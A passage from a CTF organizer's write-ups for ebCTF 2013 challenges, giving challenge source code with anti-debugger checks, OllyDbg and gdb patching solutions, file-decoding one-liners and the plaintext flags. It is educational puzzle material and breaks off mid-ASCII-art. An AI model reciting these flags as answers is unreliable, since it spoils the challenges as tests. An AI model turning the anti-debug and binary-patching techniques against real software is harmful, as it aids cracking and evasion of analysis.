Eindbazen ebCTF write-ups
With the Eindbazen CTF team, we hosted the CTF (ebCTF) during the hackers event OHM2013. To generate some awareness about the CTF and OHM2013 event we also held a Teaser round some time before it. Besides full-filling an organizers role I also created multiple challenges for both the teaser round and the CTF. For the teaser round I created the challenges BIN100 and FOR100, and for the main CTF I created the challenges BIN100 (together with asby), BIN200, BIN400 and NET400 (together with the NFI). This write-up contains the solutions, background info and source codes of the challenges I have worked on. Feel free to use anything from this write-up including source codes, as long as it is for non-commercial usage and please provide credits were appropriate. For commercial usage, please contact me to discuss.
ebCTF Teaser -Â BIN100
Description
Beat our dice game and get the flag.
Solution
When we execute this file we see that it is a dice game and that we need to throw what the program wants:
The dice throws seems to be done at random, so we do not have much chance of winning this game. What we can do is cheat by adjusting the code in OllyDbg. However we might want to avoid debug checks, because one of the things we should note is the calls to certain timing functions in the executable.
To avoid having problems with the timing checks we should make sure we do not pause the program. Within OllyDbg we can make adjustments to the code and then save the program as a new executable. If we then execute this new executable we should not have any problems with the timing checks. We replace all the jumps to the wrong dice throws to NOPs, so all are throws are correct:
When we now run the code outside of OllyDbg, we will get the flag. Note: When you run the code inside OllyDbg or patch the code live during execution it will most likely not result in the (correct) flag.
Source code
One of the ideas behind this challenge was to give the wrong key when people were running the challenge inside a debugger. Both a isDebuggerPresent routine and multiple timing checks were done during the execution of the code. When any of these checks failed the XOR-key which was used for the decryption of the flag would be changed so the flag would never be correctly decrypted.
The full source code of this challenge:
#include <iostream> #include <windows.h> #include <ctime> BOOL isDebuggerPresent(); using namespace std; int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { // Define some variables string xorkey3; int xorkey1; int xorkey2 = 6; string secret; string enter; int dice; // Timer check variables time_t check; time_t check1; time_t check2; srand (time(NULL)); // Dices to print string dice1 = " -------\n| |\n| O |\n| |\n -------\n\n"; string dice2 = " -------\n| O |\n| |\n| O |\n -------\n\n"; string dice3 = " -------\n| O |\n| O |\n| O |\n -------\n\n"; string dice4 = " -------\n| O O |\n| |\n| O O |\n -------\n\n"; string dice5 = " -------\n| O O |\n| O |\n| O O |\n -------\n\n"; string dice6 = " -------\n| O O |\n| O O |\n| O O |\n -------\n\n"; string dice7 = " -------\n| O O |\n| O O O |\n| O O |\n -------\n\n"; // If there is a debugger xorkey1 starts with value \x42 if (isDebuggerPresent()) { xorkey1 = '\x42'; } else { // If there is no debugger xorkey1 starts with value \x10 xorkey1 = '\x10'; } // Print Header cout << endl << "[*] ebCTF 2013 Teaser - BIN100 - Dice Game"; cout << endl << " To get the flag you will need to throw the correct numbers." << endl << endl; cout << "[*] You will first need to throw a three, press enter to throw a dice!" << endl ; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 3) { cout << "[*] You rolled a three! Good!" << endl << endl ; xorkey2 = xorkey2 * 2; // 12 // Flag: ebCTF{64ec47ece868ba34a425d90044cd2dec} (XORed) secret = "\x13\x21\x38\x15\x3D\x33\x57\x47\x2D\x27\x6A\x73\x44\x05\x26\x59\x5C\x79\x17\x44\x45\x77\x1A\x75\x49\x7D\x05\x4A\x78\x74\x6A\x70\x42\x02\x71\x05\x0F\x22\x08"; } else { cout << "[*] You rolled a " << dice << " That is not a three :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } cout << "[*] Next you will need to throw a one, press enter to throw a dice!" << endl ; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 1) { cout << "[*] You rolled a one! Very nice!" << endl << endl; xorkey2 = xorkey2 + 4; // 16 xorkey3 = "\x02\x37\x0F\x35\x0F\x3C\x15\x07\x3C\x30\x2A\x30\x55\x12\x37\x15\x1E\x35\x01\x51"; } else { cout << "[*] You rolled a " << dice << " That is not a one :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } cout << "[*] Next you will need to throw another three, press enter to throw a dice!" << endl; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 3) { cout << "[*] You rolled a three! Awesome!" << endl << endl; xorkey2 = xorkey2 * 3; // 48 } else { cout << "[*] You rolled a " << dice << " That is not a three :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } cout << "[*] Throw another three for me now, press enter to throw a dice!" << endl ; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 3) { cout << "[*] You rolled another three! Almost there now!" << endl << endl; xorkey2 = xorkey2 + 2; // 50 for (int temp = 0; temp < xorkey3.size(); temp++) xorkey3[temp] ^= xorkey1; } else { cout << "[*] You rolled a " << dice << " That is not a three :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } cout << "[*] The last character you need to roll is a seven.... (o_O) Press enter to throw a dice!" << endl; getline(cin, enter); // Debug check with timer check1 = time(0); // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 7) { cout << dice7; } if (dice == 7) { cout << "[*] You rolled a seven, with a six sided dice! How awesome are you?!" << endl << endl; xorkey2 = xorkey2 * 2; // 100 / \x64 // Some extra code which doesn't change anything xorkey2 = xorkey2 * 50; xorkey2 = xorkey2 / 50; xorkey2 = xorkey2 + 65; xorkey2 = xorkey2 - 65; xorkey2 = xorkey2 * 42; xorkey2 = xorkey2 / 42; // 100 / \x64 } else { cout << "[*] You rolled a " << dice << " That is not a seven :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } // XOR xorkey2 with xorkey3 for (int temp = 0; temp < xorkey3.size(); temp++) xorkey3[temp] ^= xorkey2; // XOR secret with xorkey3 int keycount = 0; for (int count = 0; count < secret.size(); count++) { secret[count] ^= xorkey3[keycount]; keycount++; if (keycount >= xorkey3.length()) { keycount = 0; } } // Check if the key was decrypted successfully if (secret.find("ebCTF") != string::npos) { cout << "[*] You rolled 3-1-3-3-7, what does that make you? ELEET! \\o/" << endl; cout << "[*] Nice job, here is the flag: " << secret << endl << endl; } else { cout << endl << "[!] It seems you did something wrong :( No flag for you." << endl << endl; return 0; } } // Check debugger routine BOOL isDebuggerPresent() { BOOL result = FALSE; HINSTANCE kern_lib = LoadLibraryEx( "kernel32.dll", NULL, 0 ); if( kern_lib ) { FARPROC lIsDebuggerPresent = GetProcAddress( kern_lib, "IsDebuggerPresent" ); if( lIsDebuggerPresent && lIsDebuggerPresent() ) { result = TRUE; } FreeLibrary( kern_lib ); } return result; }
Write ups
Write ups for this challenge from others can be found here:
- http://lockboxx.blogspot.nl/2013/06/intro-to-reversing-windows-portable.html
- http://f00l.de/blog/ebctf-teaser-2013-bin100/ (German)
- http://hexpresso.wordpress.com/2013/06/02/ebctf-2013-teaser-bin100-write-up/ (French)
- http://guenael.ca/blog/2013/06/02/ebCTF-bin100/
- http://v0ids3curity.blogspot.nl/2013/06/ebctf-teaser-2013-bin-100-team-xbios.html
ebCTF Teaser -Â FOR100
Description
Eindbazen do not like Steganography challenges
flag = rev( steg.unhideBin( unhex( rot13( un7z( carve( xor( unhex( rot13( unrar( ebCTF_Teaser_FOR100.rar ) ) ) ) ) ) ) ) ) )
The idea about this challenge was to make a statement about far-fetched unrealistic Forensic challenges which often appear during CTFs. But to keep it fair we would give the solution with it as well.
Solution
Step 1: unrar (ebCTF_Teaser_FOR100.rar)
The first step in this challenge was to unrar the ebCTF_Teaser_FOR100.rar file, the password for the file needed to be cracked and was “12”. After unrarring, we end up with a file Good_Luck
root@bt:~/ebCTF/FOR100# unrar e -p12 ebCTF_Teaser_FOR100.rar UNRAR 3.90 beta 2 freeware Copyright (c) 1993-2009 Alexander Roshal Extracting from ebCTF_Teaser_FOR100.rar Extracting Good_Luck OK All OK
Step2: rot13(Â Good_Luck )
The Good_Luck file seems to contain numbers and some characters:
root@bt:~/ebCTF/FOR100# head -c 50 Good_Luck po120p054s4858484242424s0o0n0610424241624242436r4n
We need to rot13 this, which we can do with the following oneliner, after which we end up with hexadecimal numbers:
root@bt:~/ebCTF/FOR100# cat Good_Luck | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]' > Good_Luck_rot13 root@bt:~/ebCTF/FOR100# head -c 50 Good_Luck_rot13 cb120c054f4858484242424f0b0a0610424241624242436e4a
Step 3: unhex( Good_Luck_rot13 )
The next part is to unHex the new file, we can use the following oneliner for that:
root@bt:~/ebCTF/FOR100# cat Good_Luck_rot13 | perl -ne '$_ =~ s/([a-f0-9]{2})/chr(hex($1))/ieg;print' > Good_Luck_rot13_unhex
 Step 4: xor( Good_Luck_rot13_unhex )
In this part we need to XOR the file, however we do not know with what we need to XOR it. Brute forcing a single XOR character gives us the XOR key of 0x42. We can use the following one-liner to XOR the file:
root@bt:~/ebCTF/FOR100# cat Good_Luck_rot13_unhex | perl -ne 'print pack "C*", map {$_^0x42} unpack "C*", $_' > Good_Luck_rot13_unhex_xor
The file we end up with seems to be the following PNG file.
root@bt:~/ebCTF/FOR100# file Good_Luck_rot13_unhex_xor Good_Luck_rot13_hex_xor: PNG image, 800 x 300, 8-bit/color RGB, non-interlaced
Step 5: carve(Â Good_Luck_rot13_unhex_xor.png )
We can carve with multiple tools (such as PhotoRec, Scalpel, Foremost), or we can open the file with a Hex editor, below we can spot the footer of the PNG and right after it a 7zip header:
To get to the 7zip file we use the dd tool and skip the first 10388 bytes (0x000195d0 as in the screenshot above).
root@bt:~/ebCTF/FOR100# dd ibs=1 skip=103888 if=Good_Luck_rot13_unhex_xor.png of=Carve.7z 386315+0 records in 754+1 records out 386315 bytes (386 kB) copied, 0.201287 s, 1.9 MB/s root@bt:~/ebCTF/FOR100# file Carve.7z Carve.7z: 7-zip archive data, version 0.3
Step 6: un7z( Carve.7z )
Now we can unpack the 7zip file, however it is also password protected. The password can be cracked and is “21”.
root@bt:~/ebCTF/FOR100# 7z e -p21 Carve.7z 7-Zip 9.04 beta Copyright (c) 1999-2009 Igor Pavlov 2009-05-30 p7zip Version 9.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,1 CPU) Processing archive: Carve.7z Extracting ebCTF-Stego_is_NOT_forensics Everything is Ok Size: 830836 Compressed: 386315
Step 7: rot13(Â ebCTF-Stego_is_NOT_forensics )
From the 7zip file we got the file ebCTF-Stego_is_NOT_forensics.
root@bt:~/ebCTF/FOR100# file ebCTF-Stego_is_NOT_forensics ebCTF-Stego_is_NOT_forensics: ASCII text, with very long lines, with CRLF line terminators
The first part of this file seems to contain the following information:
Did you know ebCTF will take place from August 2 till August 4, 2013?
Better put that in your calendar!
After this part there seems to be some kind of encoding again which we also saw in step 2:
root@bt:~/ebCTF/FOR100# head -c 158 ebCTF-Stego_is_NOT_forensics | tail -c 50 89504r470q0n1n0n0000000q49484452000003r0000004o008
We can rot13 decode this with a one-liner, where we use dd to cut off the header:
root@bt:~/ebCTF/FOR100# dd ibs=1 skip=108 if=ebCTF-Stego_is_NOT_forensics | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]' > ebCTF-Stego_is_NOT_forensics_rot13 830728+0 records in 1622+1 records out 830728 bytes (831 kB) copied, 0.435059 s, 1.9 MB/s
Now we end up with a Hexadecimal file again:
root@bt:~/ebCTF/FOR100# head -c 50 ebCTF-Stego_is_NOT_forensics_rot13 89504e470d0a1a0a0000000d49484452000003e0000004b008
Step 8: unhex(Â ebCTF-Stego_is_NOT_forensics_rot13 )
We use the same kind of one-liner as in Step 4:
root@bt:~/ebCTF/FOR100# cat ebCTF-Stego_is_NOT_forensics_rot13 | perl -ne '$_ =~ s/([a-f0-9]{2})/chr(hex($1))/ieg;print' > ebCTF-Stego_is_NOT_forensics_rot13_unhex root@bt:~/ebCTF/FOR100# file ebCTF-Stego_is_NOT_forensics_rot13_unhex ebCTF-Stego_is_NOT_forensics_rot13_unhex: PNG image, 992 x 1200, 8-bit/color RGB, non-interlaced
It seems we ended up with a PNG again:
Step 9: steg.unhideBin( ebCTF-Stego_is_NOT_forensics_rot13_unhex.png )
The name of this next step seems to be a link to the LSB-Steganography Python software found on github.
root@bt:~/ctf# cat LSBbin_unhide.py from LSBSteg import LSBSteg import cv2.cv as cv import sys inp = cv.LoadImage("ebCTF-Stego_is_NOT_forensics2_rot13_unhex.png") steg = LSBSteg(inp) bin = steg.unhideBin() f = open("unhide","wb") f.write(bin) f.close()
When we run this script we end up with a new file:
root@bt:~/ctf# python LSBbin_unhide.py root@bt:~/ebCTF/FOR100# file unhide unhide: data
Step 10: rev( unhide )
For the 10th and last step we need to reverse the file, so once again we use a one-liner:
root@bt:~/ebCTF/FOR100# cat unhide | perl -e '$_ = reverse <STDIN>;print' > unhide_rev root@bt:~/ebCTF/FOR100# file unhide_rev unhide_rev: PNG image, 650 x 820, 8-bit/color RGBA, non-interlaced
It seems we ended up with another PNG file and the flag:
 Write ups
Write ups for this challenge from others can be found here:
- http://www.blue-lotus.net/ebctf-2013-quals-for100-writeup/
- http://hexpresso.wordpress.com/2013/06/02/ebctf-2013-teaser-for100-write-up/ (French)
ebCTF -Â BIN100
Description
You showed your Windows debugger skills during the teaser, but how good are your Linux debugger skills?
http://ebctf.nl/files/c31892374badbfabd06a63ebe39d9036/bin100
BIN100 of ebCTF was a joint effort of asby and me, it was the Linux version of BIN100 from the ebCTF Teaser round. Basically the code was the same with some minor changes.
Solution
Running the program we see:
root@bt:~/ebCTF/bin100# ./bin100 [*] ebCTF 2013 Teaser - BIN100 - Dice Game To get the flag you will need to throw the correct numbers. [*] You will first need to throw a three, press enter to throw a dice! ------- | O | | O | | O | ------- [*] You rolled a three! Good! [*] Next you will need to throw a one, press enter to throw a dice! ------- | O | | O | | O | ------- [*] You rolled a 3 That is not a one :/ [*] Game over!
Let’s look what the program has under the hood, to look at the assembly code of this program we run the objdump command:
root@bt:~/ebCTF/bin100# objdump -d bin100 > bin100.asm
After some research we find the following interesting compares and jumps:
8048f87: 83 7c 24 50 03 cmpl $0x3,0x50(%esp) 8048f8c: 75 4e jne 8048fdc <main+0x390> 8049194: 83 7c 24 50 01 cmpl $0x1,0x50(%esp) 8049199: 75 4f jne 80491ea <main+0x59e> 80493a2: 83 7c 24 50 03 cmpl $0x3,0x50(%esp) 80493a7: 75 6d jne 8049416 <main+0x7ca> 80495a5: 83 7c 24 50 03 cmpl $0x3,0x50(%esp) 80495aa: 0f 85 82 00 00 00 jne 8049632 <main+0x9e6> 8049805: 83 7c 24 50 07 cmpl $0x7,0x50(%esp) 804980a: 0f 85 c1 00 00 00 jne 80498d1 <main+0xc85>
We could adjust these jumps so the throws are always correct. The JNE instruction jumps when “ZF = 0” (info), we can adjust ZF in gdb by setting the eflags. Since we expect anti debug checks we can create a command script for gdb instead of typing the commands:
b *0x08048f8c commands silent set ($eflags)=0x42 c end b *0x08049199 commands silent set ($eflags)=0x42 c end b *0x080493a7 commands silent set ($eflags)=0x42 c end b *0x080495aa commands silent set ($eflags)=0x42 c end b *0x0804980a commands silent set ($eflags)=0x42 c end file ./bin100 r <<< `yes | head` q
The `yes | head` command is used to input the enters for the dice rolls. When we execute the script we get the flag:
root@bt:~/ebCTF/bin100# gdb --command=bin100.solv | grep ebCTF yes: standard output: Broken pipe yes: write error warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch). [*] ebCTF 2013 - BIN100 - Dice Game [*] Nice job, here is the flag: ebCTF{9a9689dbd47a1fd3fc0bf17d60edf545}
 Source code
#include <iostream> #include <ctime> #include <stdlib.h> using namespace std; int main() { // Define some variables string xorkey3; int xorkey1; // int xorkey2 = 6; int xorkey2 = 5; string secret; string enter; int dice; // Timer check variables time_t check; time_t check1; time_t check2; srand (time(NULL)); // Dices to print string dice1 = " -------\n| |\n| O |\n| |\n -------\n\n"; string dice2 = " -------\n| O |\n| |\n| O |\n -------\n\n"; string dice3 = " -------\n| O |\n| O |\n| O |\n -------\n\n"; string dice4 = " -------\n| O O |\n| |\n| O O |\n -------\n\n"; string dice5 = " -------\n| O O |\n| O |\n| O O |\n -------\n\n"; string dice6 = " -------\n| O O |\n| O O |\n| O O |\n -------\n\n"; string dice7 = " -------\n| O O |\n| O O O |\n| O O |\n -------\n\n"; xorkey1 = '\x66'; // Print Header cout << endl << "[*] ebCTF 2013 - BIN100 - Dice Game"; cout << endl << " To get the flag you will need to throw the correct numbers." << endl << endl; cout << "[*] You will first need to throw a three, press enter to throw a dice!" << endl ; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // debug: dice = 3; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 3) { cout << "[*] You rolled a three! Good!" << endl << endl ; xorkey2 = xorkey2 * 2; // 10 // Flag: ebCTF{9a9689dbd47a1fd3fc0bf17d60edf545} (XORed) secret = "\x68\x5A\x43\x6E\x46\x48\x23\x69\x0A\x09\x1D\x06\x3E\x7F\x5C\x2E\x26\x5B\x3F\x38\x69\x0B\x66\x59\x30\x51\x7C\x39\x04\x5B\x13\x0F\x3F\x79\x5E\x2F\x25\x0F\x73"; } else { cout << "[*] You rolled a " << dice << " That is not a three :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } cout << "[*] Next you will need to throw a one, press enter to throw a dice!" << endl ; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // debug dice = 1; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 1) { cout << "[*] You rolled a one! Very nice!" << endl << endl; xorkey2 = xorkey2 + 4; // 14 xorkey3 = "\x33\x06\x3E\x04\x3E\x0D\x24\x36\x0D\x01\x1B\x01\x64\x23\x06\x24\x2F\x04\x30\x60"; } else { cout << "[*] You rolled a " << dice << " That is not a one :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } cout << "[*] Next you will need to throw another three, press enter to throw a dice!" << endl; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // debug dice = 3; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 3) { cout << "[*] You rolled a three! Awesome!" << endl << endl; xorkey2 = xorkey2 * 3; // 42 } else { cout << "[*] You rolled a " << dice << " That is not a three :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } cout << "[*] Throw another three for me now, press enter to throw a dice!" << endl ; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // debug dice = 3; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 3) { cout << "[*] You rolled another three! Almost there now!" << endl << endl; xorkey2 = xorkey2 + 2; // 44 for (int temp = 0; temp < xorkey3.size(); temp++) xorkey3[temp] ^= xorkey1; } else { cout << "[*] You rolled a " << dice << " That is not a three :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } cout << "[*] The last character you need to roll is a seven.... (o_O) Press enter to throw a dice!" << endl; getline(cin, enter); // Debug check with timer check1 = time(0); dice = rand() % 6 + 1; // debug dice = 7; // Print dice if (dice == 1) { cout << dice1; } if (dice == 2) { cout << dice2; } if (dice == 3) { cout << dice3; } if (dice == 4) { cout << dice4; } if (dice == 5) { cout << dice5; } if (dice == 6) { cout << dice6; } if (dice == 7) { cout << dice7; } if (dice == 7) { cout << "[*] You rolled a seven, with a six sided dice! How awesome are you?!" << endl << endl; xorkey2 = xorkey2 * 2; // 88 / \x58 // Some extra code which doesn't change anything xorkey2 = xorkey2 * 50; xorkey2 = xorkey2 / 50; xorkey2 = xorkey2 + 65; xorkey2 = xorkey2 - 65; xorkey2 = xorkey2 * 42; xorkey2 = xorkey2 / 42; // 88 / \x58 } else { cout << "[*] You rolled a " << dice << " That is not a seven :/" << endl; cout << "[*] Game over!" << endl; return 0; } // Debug check with timer check2 = time(0); check = check2 - check1; if (check > 2) { xorkey2 = xorkey2 * 2; } // XOR xorkey2 with xorkey3 for (int temp = 0; temp < xorkey3.size(); temp++) xorkey3[temp] ^= xorkey2; // XOR secret with xorkey3 int keycount = 0; for (int count = 0; count < secret.size(); count++) { secret[count] ^= xorkey3[keycount]; keycount++; if (keycount >= xorkey3.length()) { keycount = 0; } } // Check if the key was decrypted successfully if (secret.find("ebCTF") != string::npos) { cout << "[*] You rolled 3-1-3-3-7, what does that make you? ELEET! \\o/" << endl; cout << "[*] Nice job, here is the flag: " << secret << endl << endl; } else { cout << endl << "[!] It seems you did something wrong :( No flag for you." << endl << endl; return 0; } }
Write ups
Write ups for this challenge from others can be found here:
- http://nopsrus.blogspot.nl/2013/08/ebctf-bin100-100-points.html
- http://blog.dragonsector.pl/2013/08/ebctf-2013-bin100-bin300.html
- http://www.libcrack.so/2013/08/05/ebctf-bin100-write-up/
ebCTF -Â BIN200
Description
 There should be something hidden in this file, can you find it?
http://ebctf.nl/files/fcb920470457ec583006ca1de1025e17/ebCTF_BIN200.exe
The executable was a Perlscript which was converted in to an executable using Perl2Exe. The idea behind this challenge was to perform the following trick to recover the Perl source code:
Thice.nl: Perl2Exe back to Perl
Sadly enough between the creation (and testing) of the challenge and the usage of it during ebCTF someone created a Python script which made this challenge much easier sadly enough. It was not the goal of this challenge to just run a tool against the file and get the flag.
When we follow the approach described in the article or dump it with the Python script we end up with the following (truncated) source code:
Source Code
The reason the key was added in ASCII art instead of plaintext was to make sure it would not be easy to just find the key somewhere in memory when executing the program.
Challenge source code:
#!/usr/bin/perl print "\n[*] ebCTF BIN 200\n". " No comment...\n\n"; $secret = "Sup3RSeCr3tStuFf!"; print "[*] What is the secret? "; $answer = <STDIN>; chomp($answer); if ($answer eq $secret) { print "\n[*] Yes, that is correct! However that was not the goal of this challenge.\n". " Did you know that compiled code does not contain any comments?\n"; } else { print "\n[*] Isn't that cute...but it is WRONG!.\n"; } # W e l l , w e l l, i t s e e m s t h e r e a c t u a l l y i s a c o m m e n t . . . # # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | _________ | | | ______ | | | ______ | | | _________ | | #| | |_ ___ | | | | |_ _ \ | | | .' ___ | | | | | _ _ | | | #| | | |_ \_| | | | | |_) | | | | / .' \_| | | | |_/ | | \_| | | #| | | _| _ | | | | __'. | | | | | | | | | | | | #| | _| |___/ | | | | _| |__) | | | | \ `.___.'\ | | | _| |_ | | #| | |_________| | | | |_______/ | | | `._____.' | | | |_____| | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | _________ | | | __ | | | _________ | | | ________ | | #| | |_ ___ | | | | .' _/ | | | |_ ___ | | | | |_ ___ `. | | #| | | |_ \_| | | | | | | | | | |_ \_| | | | | | `. \ | | #| | | _| | | | < < | | | | _| _ | | | | | | | | | #| | _| |_ | | | | |_ | | | _| |___/ | | | | _| |___.' / | | #| | |_____| | | | `.__\ | | | |_________| | | | |________.' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | ______ | | | ________ | | | ______ | | | ____ | | #| | |_ _ \ | | | |_ ___ `. | | | |_ _ \ | | | .' '. | | #| | | |_) | | | | | | `. \ | | | | |_) | | | | | .--. | | | #| | | __'. | | | | | | | | | | | __'. | | | | | | | | | #| | _| |__) | | | | _| |___.' / | | | _| |__) | | | | | `--' | | | #| | |_______/ | | | |________.' | | | |_______/ | | | '.____.' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | ______ | | | ______ | | | _______ | | | ______ | | #| | / ____ `. | | | .' ___ | | | | | ___ | | | | .' ____ '. | | #| | `' __) | | | | / .' \_| | | | |_/ / / | | | | (____) | | | #| | _ |__ '. | | | | | | | | / / | | | '_.____. | | | #| | | \____) | | | | \ `.___.'\ | | | / / | | | | \____| | | | #| | \______.' | | | `._____.' | | | /_/ | | | \______,' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | ______ | | | ____ | | | _________ | | | __ | | #| | .' ____ '. | | | .' __ '. | | | |_ ___ | | | | / \ | | #| | | (____) | | | | | (__) | | | | | |_ \_| | | | / /\ \ | | #| | '_.____. | | | | .`____'. | | | | _| | | | / ____ \ | | #| | | \____| | | | | | (____) | | | | _| |_ | | | _/ / \ \_ | | #| | \______,' | | | `.______.' | | | |_____| | | ||____| |____|| | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | _______ | | | _______ | | | __ | | | ______ | | #| | | ___ | | | | | _____| | | | / | | | | |_ _ \ | | #| | |_/ / / | | | | |____ | | | `| | | | | | |_) | | | #| | / / | | | '_.____''. | | | | | | | | | __'. | | #| | / / | | | | \____) | | | | _| |_ | | | _| |__) | | | #| | /_/ | | | \______.' | | | |_____| | | | |_______/ | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | _________ | | | _____ | | | __ | | | ________ | | #| | |_ ___ | | | | / ___ `. | | | / | | | | |_ ___ `. | | #| | | |_ \_| | | | |_/___) | | | | `| | | | | | | `. \ | | #| | | _| _ | | | .'____.' | | | | | | | | | | | | | | #| | _| |___/ | | | | / /____ | | | _| |_ | | | _| |___.' / | | #| | |_________| | | | |_______| | | | |_____| | | | |________.' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | __ | | | ______ | | | ______ | | | _ _ | | #| | / | | | | / ____ `. | | | .' ____ \ | | | | | | | | | #| | `| | | | | `' __) | | | | | |____\_| | | | | |__| |_ | | #| | | | | | | _ |__ '. | | | | '____`'. | | | |____ _| | | #| | _| |_ | | | | \____) | | | | | (____) | | | | _| |_ | | #| | |_____| | | | \______.' | | | '.______.' | | | |_____| | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | .--------------. | #| | __ | | | _______ | | | ____ | | | ______ | | #| | / \ | | | | _____| | | | .' __ '. | | | .' ____ \ | | #| | / /\ \ | | | | |____ | | | | (__) | | | | | |____\_| | | #| | / ____ \ | | | '_.____''. | | | .`____'. | | | | '____`'. | | #| | _/ / \ \_ | | | | \____) | | | | | (____) | | | | | (____) | | | #| ||____| |____|| | | \______.' | | | `.______.' | | | '.______.' | | #| | | | | | | | | | | | | #| '--------------' | '--------------' | '--------------' | '--------------' | # '----------------' '----------------' '----------------' '----------------' # .----------------. .----------------. .----------------. #| .--------------. | .--------------. | .--------------. | #| | ____ | | | ____ | | | __ | | #| | .' '. | | | .' '. | | 